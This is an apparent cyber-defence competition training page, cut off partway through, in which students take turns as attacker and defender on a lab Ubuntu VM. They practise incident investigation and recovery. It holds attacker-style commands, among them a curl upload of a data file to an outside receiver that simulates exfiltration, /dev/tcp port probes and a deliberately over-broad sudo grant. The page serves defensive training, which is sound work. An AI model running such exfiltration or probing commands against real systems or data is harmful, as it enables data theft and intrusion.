Linux Training

← Overview|......|Linux group login credentials →

Run these activities inside Ubuntu. Complete Getting Started first. See Overview for group organization.

Related checks are grouped in short command blocks. Run commands in order and compare their output with the expected results before continuing. Commands that change the system are explained separately.

Preparation — Service inventory and baseline

Step 1 — Record the service inventory and baseline

Identify your hostname, IP, listeners and running services. Compare with Overview.

Confirm that the hostname is ccdc-linux:

hostname

Display the VM’s network addresses and routing table:

ip -br address
ip route

Inspect listening ports and their owning processes:

sudo ss -lntup

Inspect service status and recent service messages:

systemctl status nginx ssh --no-pager

Inspect the firewall state and configured rules:

sudo ufw status verbose

Request the webpage and compare the response with the expected result for this step:

curl -fsS http://172.29.242.30/index.html

Practice investigating and recovering from changes made by an attacker who already has system access.

Module 1 — Attacker already has system access

Task 1.1 — Service tampering and recovery

Practice responding to a service outage caused by an attacker who already has administrative access. The attacker stops the web service, and the defender investigates, restores it, and verifies recovery. Follow the five steps below:

  1. Confirm normal service before the attack.
  2. Introduce the service outage.
  3. Examine the outage and collect evidence.
  4. Restore the service and confirm it works.
  5. Review the results and explain the response.

Step 1 — Verify the Linux baseline

Verify the relevant services and record the results.

Record the time and confirm that the hostname is ccdc-linux:

date -u
hostname

Check the service states and request the webpage; compare both with the expected results for this step:

systemctl is-active nginx ssh
curl --max-time 5 -fsS http://172.29.242.30/index.html

Laptop browser check — baseline

Location: your own computer, outside the VM. Before the attacker stops the service, confirm the website works from your own campus laptop. Open http://128.198.74.133:18080/index.html. Hard-refresh to avoid a cached page, or use the command below for a new request. Keep this separate from the guest-side commands above.

Windows laptop, PowerShell:

curl.exe -i --max-time 5 http://128.198.74.133:18080/index.html

macOS/Linux laptop, Terminal:

curl -i --max-time 5 http://128.198.74.133:18080/index.html

Expect HTTP 200 and the page text CCDC Linux storefront: operational. Compare the response with the service state and timestamps inside the target VM. The relay's TCP port can still accept a connection when the guest HTTP service is down: a successful port test alone does not prove HTTP works. This is an HTTP service exercise; do not stop networking, RDP or TCP itself.

Step 2 — Linux attacker action

Record the time, stop Nginx once, then hand over. Do not change anything else.

Record the time for comparison with the evidence:

date -u

Stop only Nginx for the assigned attacker action:

sudo systemctl stop nginx

Laptop browser check — outage

Location: your own computer, outside the VM. With the HTTP service stopped, test again from your own campus laptop before the defender restores it. Open http://128.198.74.133:18080/index.html. Hard-refresh to avoid a cached page, or use the command below for a new request. Keep this separate from the guest-side commands above.

Windows laptop, PowerShell:

curl.exe -i --max-time 5 http://128.198.74.133:18080/index.html

macOS/Linux laptop, Terminal:

curl -i --max-time 5 http://128.198.74.133:18080/index.html

Expect a request failure, empty reply, timeout or HTTP error; the operational page must not be returned. IIS can return an HTTP error while its HTTP.sys TCP listener remains available. Compare the response with the service state and timestamps inside the target VM. The relay's TCP port can still accept a connection when the guest HTTP service is down: a successful port test alone does not prove HTTP works. This is an HTTP service exercise; do not stop networking, RDP or TCP itself.

Step 3 — Linux defender investigation

Confirm the outage before changing the system. A failed curl and an inactive service are expected in this round. Record output or screenshots; the journal provides evidence of a service change, not necessarily the actor's identity.

Record the time for comparison with the evidence:

date -u

Request the webpage and compare the response with the expected result for this step:

curl --max-time 5 -i http://172.29.242.30/index.html

Inspect service status and recent service messages:

systemctl status nginx --no-pager

Inspect the relevant log records for the exercise time window:

sudo journalctl -u nginx --since "15 minutes ago" --utc --no-pager

Inspect listening ports and their owning processes:

sudo ss -lntup

Step 4 — Linux defender recovery and validation

Verify the relevant services and record the results.

Start Nginx to restore the web service:

sudo systemctl start nginx

Check the service states and request the webpage; compare both with the expected results for this step:

systemctl is-active nginx ssh
curl --max-time 5 -fsS http://172.29.242.30/index.html

Inspect the HTTP listener:

sudo ss -lntp 'sport = :80'

Record the time for comparison with the evidence:

date -u
Laptop browser check — recovery

Location: your own computer, outside the VM. After restoring the HTTP service, repeat the same request from your own campus laptop. Open http://128.198.74.133:18080/index.html. Hard-refresh to avoid a cached page, or use the command below for a new request. Keep this separate from the guest-side commands above.

Windows laptop, PowerShell:

curl.exe -i --max-time 5 http://128.198.74.133:18080/index.html

macOS/Linux laptop, Terminal:

curl -i --max-time 5 http://128.198.74.133:18080/index.html

Expect HTTP 200 and the page text CCDC Linux storefront: operational. Compare the response with the service state and timestamps inside the target VM. The relay's TCP port can still accept a connection when the guest HTTP service is down: a successful port test alone does not prove HTTP works. This is an HTTP service exercise; do not stop networking, RDP or TCP itself.

Step 5 — Linux defense review and deliverables

Verify the relevant services and record the results.

Task 1.2 — Web-content tampering and evidence

Investigate unauthorized changes to a webpage even when the web service still responds. Follow the steps below:

  1. Prepare a trusted recovery copy
  2. Attacker changes the page
  3. Defender investigates before restoring
  4. Defender recovers and verifies

Step 1 — Prepare a trusted recovery copy

In Terminal inside your assigned Ubuntu VM, confirm the starting service state and webpage:

Check the service states and request the webpage; compare both with the expected results for this step:

systemctl is-active nginx ssh
curl --max-time 5 -fsS http://172.29.242.30/index.html

Both services should be active and the page should show CCDC Linux storefront: operational. Confirm the same content from your campus laptop at the Linux website. Continue only when the baseline is correct. If a previous round left the page changed, restore that round’s saved original using Step 4 before starting a new round; do not save the changed page as a trusted copy.

Before the attack, run the following commands one at a time to create a new exercise directory and save the original page and baseline checksum yourselves. Check each result before continuing. Use the same Terminal window throughout one round. When you switch roles, repeat Step 1 to create a new directory for the next round. The previous round’s files remain saved.

Create a new directory for this round’s recovery files or evidence:

case_dir=$(mktemp -d "$HOME/CCDC-Exercise-1-2.XXXXXX")

Check the service states and request the webpage; compare both with the expected results for this step:

systemctl is-active nginx ssh
curl --max-time 5 -fsS http://172.29.242.30/index.html

Save a recovery copy of the operational page:

sudo cp -a /var/www/html/index.html "$case_dir/original.html"

Save the page’s SHA-256 checksum:

sudo sha256sum /var/www/html/index.html > "$case_dir/original.sha256"

Display the directory path and record it before continuing:

printf '\nExercise directory: %s\n' "$case_dir"

Record the printed exercise directory; it contains original.html and original.sha256. Keep both files unchanged. If you reopen Terminal during a round, set case_dir to that round’s recorded path before continuing.

Note: in a real environment, store the trusted recovery copy and baseline checksum outside the victim computer so an attacker who compromises that computer cannot alter them.

Step 2 — Attacker changes the page

In the Ubuntu VM, record the time and replace only the exercise webpage with the marker below. Keep Nginx, SSH and remote desktop running. Do not modify your recovery copy or baseline checksum. Hand over to the defender after the change.

Record the time for comparison with the evidence:

date -u

Replace only the exercise webpage with the assigned changed-page marker:

printf '%s\n' '<!doctype html><html lang="en"><title>CCDC exercise</title><p>CCDC exercise: changed page</p></html>' | sudo tee /var/www/html/index.html

Check the service states and request the webpage; compare both with the expected results for this step:

systemctl is-active nginx ssh
curl --max-time 5 -i http://172.29.242.30/index.html

Expect HTTP 200 with the changed page. This is a content-integrity incident even though the service remains active.

Step 3 — Defender investigates before restoring

From your campus laptop, open the Linux website with a fresh request and confirm that the operational content has changed. Then run the following inside the Ubuntu VM to preserve evidence in a separate folder within this round’s exercise directory:

Set the evidence-folder path and create the folder with access limited to your trainee account:

evidence_dir="$case_dir/evidence"
mkdir -m 700 "$evidence_dir"

Record the changed file’s metadata and checksum as evidence:

sudo stat /var/www/html/index.html | tee "$evidence_dir/stat.txt"
sudo sha256sum /var/www/html/index.html | tee "$evidence_dir/hash.txt"

Save the changed page before recovery:

sudo cat /var/www/html/index.html > "$evidence_dir/page.txt"

Save the relevant log records in the evidence folder:

sudo journalctl -u nginx --since "20 minutes ago" --utc --no-pager > "$evidence_dir/nginx-journal.txt"

Inspect the latest web access records and save them as evidence:

sudo tail -n 100 /var/log/nginx/access.log > "$evidence_dir/access.txt"

Request the webpage and compare the response with the expected result for this step:

curl -i http://172.29.242.30/index.html

Compare the changed file’s hash with the checksum you saved in Step 1 using the read-only command below. A mismatch is expected after the attack; it confirms that the webpage differs from the baseline. Preserve the changed page before recovery. File timestamps and service logs alone do not establish who edited the page.

sudo sha256sum -c "$case_dir/original.sha256"

Step 4 — Defender recovers and verifies

After preserving the evidence, restore your trusted recovery copy from Step 1 using the individual commands below in the Ubuntu VM. Do not use the changed page as the recovery baseline.

Restore the original page saved before the attack:

sudo cp -a "$case_dir/original.html" /var/www/html/index.html

Compare the current webpage against the saved baseline checksum:

sudo sha256sum -c "$case_dir/original.sha256"

Check the service states and request the webpage; compare both with the expected results for this step:

systemctl is-active nginx ssh
curl --max-time 5 -fsS http://172.29.242.30/index.html

Expect /var/www/html/index.html: OK, active services and the original operational content. Repeat the laptop HTTP check with a fresh request and verify that it also shows CCDC Linux storefront: operational.

Practice check: show the changed page and preserved evidence, demonstrate that the restored hash matches the baseline, and confirm normal HTTP and SSH service. Explain why HTTP 200 alone did not prove the page was correct. Keep this round’s evidence and recovery copy, then reverse attacker and defender roles and repeat from Step 1 with a new exercise directory. No written report submission is required.

Task 1.3 — Firewall tampering versus service failure

Investigate an HTTP outage caused by a firewall change while the web service remains running. Follow the steps below:

  1. Attacker blocks incoming HTTP traffic.
  2. Defender investigates the outage while Nginx remains running.
  3. Defender removes the exercise rule and verifies recovery.

Step 1 — Attacker: block incoming HTTP traffic

Run the guest commands in Terminal inside your assigned Ubuntu VM. First inspect the existing firewall rules and services:

Inspect the current numbered firewall rules and whether UFW is active:

sudo ufw status numbered

Check the service states and request the webpage; compare both with the expected results for this step:

systemctl is-active nginx ssh xrdp
curl --max-time 5 -fsS http://127.0.0.1/index.html

UFW must report Status: active, all three services must be active and the local page must show the operational storefront. From your campus laptop, open the Linux website with a fresh request and confirm the same page. Do not continue until these baseline checks pass. If a rule marked CCDC-Exercise-1-3 is already present, complete Step 3 before starting a new round.

Record the time, then add the following HTTP-only rule once:

Record the time for comparison with the evidence:

date -u

Add the labeled HTTP-only exercise rule once:

sudo ufw insert 1 deny in proto tcp from 172.29.242.0/24 to any port 80 comment 'CCDC-Exercise-1-3'

Inspect the current numbered firewall rules and whether UFW is active:

sudo ufw status numbered

The rule is placed before the existing HTTP allow rule. It blocks incoming TCP port 80 from the lab subnet, including requests forwarded by the campus relay. It does not block SSH on port 22 or remote desktop on port 3389. Leave Nginx running and keep your remote desktop session open. Do not change other firewall rules or the host firewall.

From your campus laptop, make a fresh request to the same website. Expect a timeout, request failure or relay error instead of the operational page. A successful TCP connection to the relay alone does not establish HTTP availability. Hand over to the defender after demonstrating the failure.

Step 2 — Defender: investigate the outage

Before changing anything, run the following inside the Ubuntu VM:

Record the time for comparison with the evidence:

date -u

Check the service states and request the webpage; compare both with the expected results for this step:

systemctl is-active nginx ssh xrdp
curl --max-time 5 -fsS http://127.0.0.1/index.html

Inspect the listening ports and current firewall rules:

sudo ss -lntp 'sport = :80'
sudo ufw status numbered

Record the output or screenshots. Nginx should remain active, port 80 should still have a listener and the loopback request should return the operational page. Identify the CCDC-Exercise-1-3 deny rule above the HTTP allow rule and record its source subnet, destination port and position. Compare this with the failed laptop request.

Explain why the evidence points to network filtering rather than a stopped web service. A successful loopback request tests the local service; it does not prove that requests from outside the VM are allowed.

Step 3 — Defender: recover and verify

After preserving the evidence, remove only the exact exercise rule using the command below. Leave UFW enabled and preserve the existing allow rules:

Remove only the exact HTTP exercise rule:

sudo ufw delete deny in proto tcp from 172.29.242.0/24 to any port 80 comment 'CCDC-Exercise-1-3'

Inspect the current numbered firewall rules and whether UFW is active:

sudo ufw status numbered

Check the service states and request the webpage; compare both with the expected results for this step:

systemctl is-active nginx ssh xrdp
curl --max-time 5 -fsS http://127.0.0.1/index.html

Record the time for comparison with the evidence:

date -u

Confirm that UFW remains active, the exercise deny rule is absent and the original allow rules remain. Repeat the laptop HTTP request with a fresh request; it must now return the operational storefront. All three services should still be active and your remote desktop session should remain connected.

Practice check: show the external HTTP failure, the running local service, the exercise rule and successful external recovery after removing that rule. Explain how this differs from Task 1.1. Keep your evidence, then reverse attacker and defender roles and repeat from Step 1. No written report submission is required.

Task 1.4 — Compromised account and excessive privilege

Investigate an exercise account with excessive privileges and contain its access while preserving legitimate services. Complete the four steps below yourselves, then switch roles and repeat.

  1. Prepare the dedicated exercise account and check normal service.
  2. Attacker demonstrates the account’s excessive access.
  3. Defender preserves evidence and removes the excessive access.
  4. Defender verifies containment, checks normal service and cleans up.

Use only the dedicated ccdc-demo account for this exercise. Keep your assigned trainee account’s privileges unchanged. This task starts with access to an account; it does not involve guessing or cracking passwords.

Step 1 — Prepare the dedicated exercise account

In Terminal inside the Ubuntu VM, use your assigned trainee account with sudo. Run each command separately and check its result before continuing.

Check the service states and request the webpage; compare both with the expected results for this step:

systemctl is-active nginx ssh xrdp
curl --max-time 5 -fsS http://172.29.242.30/index.html

All three services should be active and the page should show the operational storefront. Confirm the same page from your campus laptop at the Linux website.

Check whether the exercise account already exists:

getent passwd ccdc-demo

Expect no output. Then check for an existing exercise sudo rule:

sudo ls -l /etc/sudoers.d/ccdc-exercise-1-4

Expect a “No such file or directory” message. If either the account or rule exists, finish the previous round’s cleanup before continuing. Do not overwrite an existing rule.

Create the dedicated exercise account:

sudo useradd --create-home --shell /bin/bash --comment 'CCDC Task 1.4 exercise account' ccdc-demo

Set its temporary exercise password and share it with the student acting as attacker:

sudo passwd ccdc-demo

The password characters will not appear as you type. Enter the same temporary password twice.

Open a new exercise sudo rule in Nano using the syntax-checking sudoers editor:

sudo EDITOR=nano visudo -f /etc/sudoers.d/ccdc-exercise-1-4

Enter this single line in the editor. It grants permission only to stop Nginx:

ccdc-demo ALL=(root) NOPASSWD: /usr/bin/systemctl stop nginx

Press Ctrl+O, then Enter to save, and Ctrl+X to exit. If visudo reports a syntax error, choose to edit again and correct the line; do not force it to save an invalid rule.

Check that the sudo configuration is valid:

sudo visudo -c

Confirm the exercise account does not belong to the sudo group:

id ccdc-demo

Check its granted command:

sudo -l -U ccdc-demo

The listed permission should be limited to /usr/bin/systemctl stop nginx. Continue only after the syntax check passes and the account has the expected privilege.

Step 2 — Attacker: demonstrate the excessive privilege

Open a second Terminal inside the same Ubuntu desktop. Switch only this shell to the exercise account, entering its temporary password:

su - ccdc-demo

Confirm that whoami prints ccdc-demo, then stop Nginx using the granted command:

Confirm the exercise account’s identity and inspect its permitted sudo commands:

whoami
sudo -l

Record the time for comparison with the evidence:

date -u

Attempt to stop Nginx using the exercise account’s granted command:

sudo -n /usr/bin/systemctl stop nginx

The stop command should succeed without a sudo password prompt. From your campus laptop, request the website again; it should no longer return the operational page. Leave this exercise shell open for the containment test. Do not stop SSH or remote desktop, and do not change any other service, account or rule.

Step 3 — Defender: investigate and contain

Return to the original Terminal running as your assigned trainee account. Keep this Terminal open through Step 4. Record the account, the sudo grant, service state and relevant events:

Create a new directory for this round’s recovery files or evidence:

case_dir=$(mktemp -d "$HOME/CCDC-Exercise-1-4.XXXXXX")

Record the time for comparison with the evidence:

date -u

Record the exercise account’s identity, groups and sudo permissions:

id ccdc-demo | tee "$case_dir/account.txt"
sudo -l -U ccdc-demo 2>&1 | tee "$case_dir/sudo-permissions.txt"

Save the exercise sudo rule before removing it:

sudo cat /etc/sudoers.d/ccdc-exercise-1-4 | tee "$case_dir/sudo-rule.txt"

Check and record the service states in the evidence file:

systemctl is-active nginx ssh xrdp | tee "$case_dir/services-before.txt"

Save the Nginx and sudo log records for the exercise time window:

sudo journalctl -u nginx --since '20 minutes ago' --utc --no-pager > "$case_dir/nginx-journal.txt"
sudo journalctl _COMM=sudo --since '20 minutes ago' --utc --no-pager > "$case_dir/sudo-journal.txt"

Nginx should be inactive while SSH and remote desktop remain active. The saved rule and permission listing establish the excessive access. Available logs may help establish timing; a missing event does not prove an action did not occur.

Remove only the exercise sudo rule, validate the remaining policy and restore Nginx. Run each command separately; continue past the policy check only if it reports that the configuration parsed successfully:

Remove only the exercise sudo grant:

sudo rm /etc/sudoers.d/ccdc-exercise-1-4

Validate the remaining sudo configuration; expect a successful parse before continuing:

sudo visudo -c

Start Nginx to restore the web service:

sudo systemctl start nginx

Step 4 — Defender: verify containment and clean up

In the attacker’s existing ccdc-demo shell, repeat exactly the same command:

sudo -n /usr/bin/systemctl stop nginx

Expect denial, such as a password-required or not-allowed message. Do not enter another account’s password or rerun the test from the trainee shell: that account intentionally retains sudo access. In the defender Terminal, confirm that the denied attempt did not stop Nginx:

Check the service states and request the webpage; compare both with the expected results for this step:

systemctl is-active nginx ssh xrdp
curl --max-time 5 -fsS http://172.29.242.30/index.html

Repeat the laptop HTTP check; it must return the operational storefront. Revoking sudo does not end an existing shell. In the attacker Terminal, run exit to leave the exercise account, and close any other shells or processes you started as that account. In the defender Terminal, remove only the dedicated exercise account and its home folder after retaining the evidence in your trainee account’s exercise directory:

Remove only the dedicated exercise account and its home folder:

sudo userdel --remove ccdc-demo

Confirm the exercise account has been removed; expect no output:

getent passwd ccdc-demo

Check that the exercise sudo rule is absent and immediately display the result code; expect 0:

sudo test ! -e /etc/sudoers.d/ccdc-exercise-1-4
echo $?

Check and record the service states:

systemctl is-active nginx ssh xrdp

Expect no account output from getent, result code 0 for the absent exercise sudo rule, and active services. Keep the evidence, reverse roles and repeat from Step 1 with a fresh exercise account.

Practice check: show the successful attacker action, saved account and privilege evidence, the denied repeat attempt and normal service after recovery. Explain why removing this permission differs from merely restarting Nginx. No written report submission is required.

Task 1.5 — Suspicious outbound traffic and data exfiltration

Identify a process sending dummy business data out of the victim VM, contain the connection and verify normal service. Follow the five steps below:

  1. Prepare the dummy data and check the isolated receiver.
  2. Attacker starts the visible transfer simulator.
  3. Defender identifies the connection, process and received data.
  4. Defender stops the sender and blocks further transfers to this receiver.
  5. Defender verifies containment and normal service, then cleans up.

This exercise uses curl as a visible simulator and sends only the supplied fictional records. The receiver at 172.29.242.1:18081 is on the isolated lab host, outside the victim VM. It accepts only the exact dummy payload. No startup mechanism is installed. Use only this destination and the supplied file.

Step 1 — Prepare the dummy data and check the receiver

Use your assigned trainee account in Terminal inside the Ubuntu VM. Download the dummy business-data file unchanged into Downloads inside the VM. If using an offline copy of this pack, copy the same file from lab-assets into Downloads.

Check the services and confirm UFW is active:

systemctl is-active nginx ssh xrdp
sudo ufw status verbose

Check the operational webpage and the isolated receiver:

curl --max-time 5 -fsS http://172.29.242.30/index.html
curl --max-time 5 -fsS http://172.29.242.1:18081/health

Expect active services, an active firewall, the operational storefront and receiver mode dummy-data-only. Confirm the storefront also loads from your campus laptop. Complete earlier tasks’ cleanup before starting this task; continue only after these checks pass.

Create a fresh exercise directory and display its path:

case_dir=$(mktemp -d "$HOME/CCDC-Exercise-1-5.XXXXXX")
printf 'Exercise directory: %s\n' "$case_dir"

Copy only the supplied dummy file into this round’s directory:

cp "$HOME/Downloads/dummy-business-data.txt" "$case_dir/dummy-business-data.txt"

Inspect its fictional content and record its checksum:

cat "$case_dir/dummy-business-data.txt"
sha256sum "$case_dir/dummy-business-data.txt"

Expect the heading CCDC TRAINING DATA ONLY and two fictional customer records. Keep this Terminal open for the attacker’s command so case_dir remains available.

Step 2 — Attacker: start the transfer simulator

Record the UTC time:

date -u

Run one transfer of the supplied dummy file to the lab receiver:

curl --connect-timeout 3 --max-time 150 --data-binary "@$case_dir/dummy-business-data.txt" http://172.29.242.1:18081/upload/linux

The data is sent immediately. The receiver deliberately delays its acknowledgement for 120 seconds so the connection and sender process remain visible. Leave this command running and hand over to the defender. If it finishes before investigation, repeat this single transfer once to observe a live connection. An HTTP 400 response means the file differs from the supplied dummy data; do not substitute any real file.

Step 3 — Defender: identify the connection and process

Open a second Terminal in the same Ubuntu desktop, using your assigned trainee account. Keep the attacker’s Terminal open. Record evidence before stopping its process.

Create a separate evidence directory:

evidence_dir=$(mktemp -d "$HOME/CCDC-Task-1-5-evidence.XXXXXX")

Find the connection to TCP port 18081 and save its details:

sudo ss -ntp 'dport = :18081' | tee "$evidence_dir/connections.txt"

Find the entry whose remote address is 172.29.242.1:18081. Record its local port, process name and pid= value. It should identify the running curl process.

Replace 1234 with that observed curl PID, then inspect its owner and complete command line:

ps -p 1234 -o pid,user,comm=NAME,args=ARGS | tee "$evidence_dir/process.txt"

Read and save the independent receiver’s recent Linux receipts:

curl --max-time 5 -fsS http://172.29.242.1:18081/receipts/linux | tee "$evidence_dir/receipts-before.txt"

Find the receipt matching this round’s time and source IP 172.29.242.30. Compare its SHA-256 value with the checksum recorded in Step 1, and inspect the fictional payload. A receipt establishes that the dummy data reached the receiver even if the sender is still waiting for its acknowledgement.

Step 4 — Defender: stop and contain the transfer

Confirm the PID belongs to this exercise’s curl command, then stop only that process from the defender Terminal. Replace 1234 with the PID you inspected; do not terminate a service or unrelated process.

Stop the identified sender:

kill 1234

Check for an existing outbound exercise rule before adding another:

sudo ufw status numbered

If a rule labeled CCDC-Exercise-1-5 is already present, use that rule for the containment check. Otherwise add the following single rule:

Block only outbound TCP traffic to the isolated receiver:

sudo ufw insert 1 deny out proto tcp from any to 172.29.242.1 port 18081 comment 'CCDC-Exercise-1-5'

In the attacker Terminal, repeat the transfer with a shorter timeout:

Verify that another attempt cannot reach the receiver:

curl --connect-timeout 3 --max-time 5 --data-binary "@$case_dir/dummy-business-data.txt" http://172.29.242.1:18081/upload/linux

Expect a connection failure or timeout. This demonstrates prevention of another transfer to this receiver; stopping a process or blocking traffic cannot undo data that was already received. Record the time and result.

Step 5 — Defender: verify service and clean up

Confirm the sender connection is gone and the services remain active:

sudo ss -ntp 'dport = :18081'
systemctl is-active nginx ssh xrdp

Verify that normal HTTP is still available:

curl --max-time 5 -fsS http://172.29.242.30/index.html

Expect no established sender connection, active services and the operational storefront. Repeat the campus laptop HTTP check and confirm your remote desktop session remains usable. No startup entry was installed in this exercise; ending curl removes this simulator’s running process.

After recording containment evidence, remove only the outbound exercise rule:

sudo ufw delete deny out proto tcp from any to 172.29.242.1 port 18081 comment 'CCDC-Exercise-1-5'

Verify the rule is absent and read the receipt list after restoring lab connectivity:

sudo ufw status numbered
curl --max-time 5 -fsS http://172.29.242.1:18081/receipts/linux

The failed blocked attempt should have no matching new receipt. Earlier receipts remain as evidence of completed transfers. Preserve your evidence directory. In the attacker Terminal, remove only this round’s copied dummy file:

Remove the copied exercise file after the debrief:

rm "$case_dir/dummy-business-data.txt"

Practice check: show the sender’s destination and PID, the receiver receipt and matching dummy-data checksum, the failed blocked retry and normal services. Switch roles and repeat from Step 1. No written report submission is required.

Module 2 — Attacker starts without system access

Practice service discovery, authentication and request-log investigation, and analysis of a supplied incident timeline.

Task 2.1 — Port scanning and service discovery

Compare the attacker’s view of reachable ports with the defender’s service inventory. Follow the steps below:

  1. Defender — establish the service inventory
  2. Attacker — one bounded pass
  3. Defender — explain and verify

Use the assigned guest only. In these single-VM simulations, the attacker uses a normal guest terminal to generate network requests; target administration is reserved for the defender. The attacker uses the assigned account only to generate traffic; this login does not demonstrate a successful intrusion. Run the attacker’s commands without elevation.

Step 1 — Defender: establish the service inventory

Record listening ports before the attacker’s scan. Use the listener inventory to confirm TCP 65000 is unused; omit that comparison port if it is in use. Required ports are 22 (SSH), 80 (HTTP), and 3389 (RDP).

Record the time for comparison with the evidence:

date -Is

Inspect listening ports and their owning processes:

sudo ss -lntup

Check and record the service states:

systemctl is-active nginx ssh xrdp

Step 2 — Attacker: one bounded pass

Probe only these four ports once. A failed connection can mean a closed port or filtering; it is not a conclusive firewall diagnosis. Save the displayed results for comparison.

Test TCP port 22 (SSH) once and immediately display its result code:

timeout 2 bash -c 'exec 3<>/dev/tcp/172.29.242.30/22'
echo $?

Test TCP port 80 (HTTP) once and immediately display its result code:

timeout 2 bash -c 'exec 3<>/dev/tcp/172.29.242.30/80'
echo $?

Test TCP port 3389 (remote desktop) once and immediately display its result code:

timeout 2 bash -c 'exec 3<>/dev/tcp/172.29.242.30/3389'
echo $?

Test TCP port 65000 (the comparison port) once and immediately display its result code:

timeout 2 bash -c 'exec 3<>/dev/tcp/172.29.242.30/65000'
echo $?

For each port, record its result code before running the next test: 0 means the connection opened, 124 means the two-second timeout expired, and another nonzero code means the test failed. A refusal or timeout does not by itself distinguish a stopped service from filtering.

Step 3 — Defender: explain and verify

  1. Compare probe results with the inventory. Explain each expected listener and investigate any discrepancy.
  2. Inspect existing firewall or service logs for the recorded time window. A connection-only probe may leave no application log entry. Report that visibility gap rather than inventing evidence.
  3. Explain one restriction you would consider for an unnecessary service. This round changes no firewall or service configuration.
  4. Use a fresh laptop request to the assigned website to confirm ordinary HTTP still works.

Complete: show the four results, the matching listener inventory, and a normal HTTP response. No configuration cleanup is needed. The local pass does not establish laptop reachability or test the relay firewall. Windows TCP 53 does not verify UDP DNS.

Task 2.2 Investigate failed SSH authentication

Investigate rejected authentication attempts and distinguish the evidence from a successful login. Follow the steps below:

  1. Defender — establish the baseline
  2. Attacker — generate the failed authentication attempt
  3. Defender — inspect and explain the authentication evidence

Step 1 — Defender: establish the baseline

Defender, Ubuntu terminal: establish the baseline and note the current time. Confirm the test account does not exist. If getent prints an account, choose a different nonexistent test name and use it consistently in this task.

Record the time for comparison with the evidence:

date -Is

Confirm the test username is absent; expect no account output:

getent passwd ccdc-probe-no-user

Check and record the service states:

systemctl is-active ssh nginx

Inspect the relevant log records for the exercise time window:

sudo journalctl -u ssh --since '10 minutes ago' --no-pager

Before the first connection, the defender records the VM’s public SSH host-key fingerprint in the original Terminal:

ssh-keygen -lf /etc/ssh/ssh_host_ed25519_key.pub

Step 2 — Attacker: generate the failed authentication attempt

Attacker, a second Ubuntu terminal: this loopback exercise works without another group's VM. Run once, enter arbitrary dummy text at the password prompt, and expect Permission denied. Repeat manually at most twice more to compare several failures; do not exceed three attempts in this round.

ssh -o HostKeyAlgorithms=ssh-ed25519 -o PreferredAuthentications=password -o PubkeyAuthentication=no -o NumberOfPasswordPrompts=1 ccdc-probe-no-user@127.0.0.1

In the attacker’s Terminal, compare any ED25519 host-key prompt with that recorded fingerprint before accepting it. This local SSH test should show a loopback source in the authentication evidence.

Step 3 — Defender: inspect and explain the authentication evidence

Inspect the relevant log records for the exercise time window:

sudo journalctl -u ssh --since '10 minutes ago' --no-pager

If the unit-filtered query missed records, check the SSH daemon records:

sudo journalctl -t sshd --since '10 minutes ago' --no-pager

The second query is a fallback if unit filtering misses SSH records. Find the test username, invalid-user or authentication-failure message, timestamp, source and source port. Distinguish log lines from attempts: one attempt can create several records. Explain why testing a nonexistent account demonstrates rejected authentication without risking a real account lockout. The journal is the primary source here; /var/log/auth.log may not exist on this VM.

Task 2.3 Investigate web probing and a dummy exposed backup

Investigate requests for a missing file and a deliberately exposed dummy backup. Follow the steps below:

  1. Attacker — make the assigned web requests
  2. Defender — inspect the request evidence
  3. Defender — mitigate, repeat and verify

Step 1 — Attacker: make the assigned web requests

Attacker, Ubuntu terminal: prepare the deliberately exposed dummy file using your assigned trainee account. This is scenario setup; the following network requests do not demonstrate how administrative access was obtained.

Check that the dummy-backup path and missing-file path are absent:

sudo ls -l /var/www/html/ccdc-probe-backup.txt /var/www/html/ccdc-probe-missing.txt

Expect “No such file or directory” for both paths. If the known dummy backup remains from an earlier round, complete Step 3 before starting again. Do not overwrite an unknown existing file.

Publish only the fictional exercise marker as the exposed backup:

printf '%s\n' 'CCDC DUMMY BACKUP - NO REAL SECRETS' | sudo tee /var/www/html/ccdc-probe-backup.txt

Now make the following three requests once each, without sudo. The first is normal traffic; the other two model someone looking for files without logging in.

Request the webpage and compare the response with the expected result for this step:

curl -i --max-time 5 http://172.29.242.30/index.html

Request the missing exercise path; expect HTTP 404:

curl -i --max-time 5 http://172.29.242.30/ccdc-probe-missing.txt

Request the dummy backup path and record its HTTP status:

curl -i --max-time 5 http://172.29.242.30/ccdc-probe-backup.txt

Step 2 — Defender: inspect the request evidence

Defender: inspect Nginx access records. Expect 200 for the normal page, 404 for the missing path and 200 with clearly labeled dummy text for the published backup. If results differ, inspect the setup rather than claiming success.

Inspect the latest web access records:

sudo tail -n 60 /var/log/nginx/access.log

Find requests for the exercise probe paths:

sudo grep 'ccdc-probe-' /var/log/nginx/access.log | tail -n 20

Locate the source, timestamp including timezone offset, method, request path and HTTP status. A request to a suspicious path shows probing; a 200 with the dummy content shows information was available without authentication. Neither alone proves command execution or a server takeover. Requests made on this server do not demonstrate an external network boundary.

Step 3 — Defender: mitigate, repeat and verify

Preserve the relevant log entries before cleanup. Confirm that this exact file contains only the exercise dummy marker. Then remove only the exercise file; keep Nginx and SSH running.

Read the exercise file and confirm it contains only the dummy marker:

sudo cat /var/www/html/ccdc-probe-backup.txt

Remove only the displayed dummy exercise file; confirm the exact path when prompted:

sudo rm -i /var/www/html/ccdc-probe-backup.txt

Request the dummy backup path and record its HTTP status:

curl -i --max-time 5 http://172.29.242.30/ccdc-probe-backup.txt

Request the webpage and compare the response with the expected result for this step:

curl -fsS --max-time 5 http://172.29.242.30/index.html

Check and record the service states:

systemctl is-active nginx ssh

Inspect the latest web access records:

sudo tail -n 15 /var/log/nginx/access.log

Accept 404 for the removed file and the operational storefront for index.html. Observe both results in the log. Explain how removing exposed data changes the outcome even though requests can continue. For authentication, propose supported MFA, SSH keys or source restrictions and identify how each would be tested. Do not change SSH authentication, UFW rules or shared passwords during this round; those changes require a separate recovery plan.

Practice check: show one rejected SSH attempt and its evidence; show the web file before and after mitigation; explain one ordinary-error explanation and one suspicious pattern. State what the evidence cannot prove. Demonstrate a legitimate service check still passes. No written report is required.

Reference: Nginx access logging.

Task 2.4 — Investigate suspicious request traffic

Trace a short sequence of web requests through the access logs and explain the evidence. Follow the steps below:

  1. Prepare
  2. Attacker — generate a short request sequence
  3. Defender — find and interpret the evidence
  4. Verify and close the round

Use the assigned guest only. In these single-VM simulations, the attacker uses a normal guest terminal to generate network requests; target administration is reserved for the defender. The attacker uses the assigned account only to generate traffic; this login does not demonstrate a successful intrusion. Run the attacker’s commands without elevation.

Step 1 — Prepare

The defender confirms access logging is enabled and the two probe paths below do not exist, then records the time and normal page response. This exercise uses web access logs as network-request evidence; it is not a packet-capture exercise.

Make a baseline request and inspect the newest access records:

